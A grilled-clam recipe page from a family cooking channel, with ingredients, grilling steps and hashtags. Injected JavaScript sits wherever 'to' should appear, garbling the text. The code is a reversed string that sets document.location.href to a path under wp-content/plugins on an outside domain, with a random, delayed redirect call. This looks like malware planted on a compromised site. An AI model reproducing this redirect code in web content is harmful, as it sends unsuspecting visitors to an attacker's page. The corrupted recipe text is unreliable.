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We’re documenting some serious memories in this “Grilled Clams” episode. Shot on the beach of the house I grew up in in Hamptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Bays, NY and sharing the moment with my daughter, Kyler and her summertime friends, we grill up some tasty clams and add copious amounts of butter, lemon and lime juice and zest and some fresh herbs and Arugula. This is what summer is all about! #thisishowisummer #hamptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons

This particular recipe compliments 4 dozen little neck clams. Use it as inspiration and add additional ingredients such as chilis, white wine, red pepper flakes and even parmesan cheese!

4 dozen little neck clams, rinsed
5-8 cloves of peeled garlic, minced (keeps the Vampires away)
16oz. unsalted butter, room temp
1 lemon, zest and juice
1 lime, zest and juice
fresh herbs such as oregano, thyme and parsley, chopped
BIG fistful of fresh arugula, chopped

I find the best way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to shuck clams is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep them cold. Cover them in ice about 30 minutes before you start shucking.

If using a grill, get that started. You can also bake or broil these.

In a bowl, combine butter and all other ingredients and mix until well combined.

Shuck clams over the butter toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to collect the seaworthy liquor. This also adds natural saltiness goodness.

Spoon butter mixture over clams and grill until it melts and bubbles. About 3-4 minutes. When placing the clams on a tray be mindful not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to spill the juice. Line the clams around a shallow dish with the lip of the clam facing the wall of the plate/platter.

You can also sip any spilled “nectar of the gods” from the bowl for an added bonus!

This is summer!

Make sure you subscribe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our channel for more fun, family recipes and follow us on our other social media sites.

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Check out jukedeck.com and create your own music! #cooknwithkyler #healthykids #cookingwithkids #cookingwithkids #cooking #cooking #recipe #recipe #primalkids #danspapers #hamptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons #summer #shrimp #grilling #yummy #cookingwithkyler #grilledclams #easyrecipes #nectarofthegods #clams

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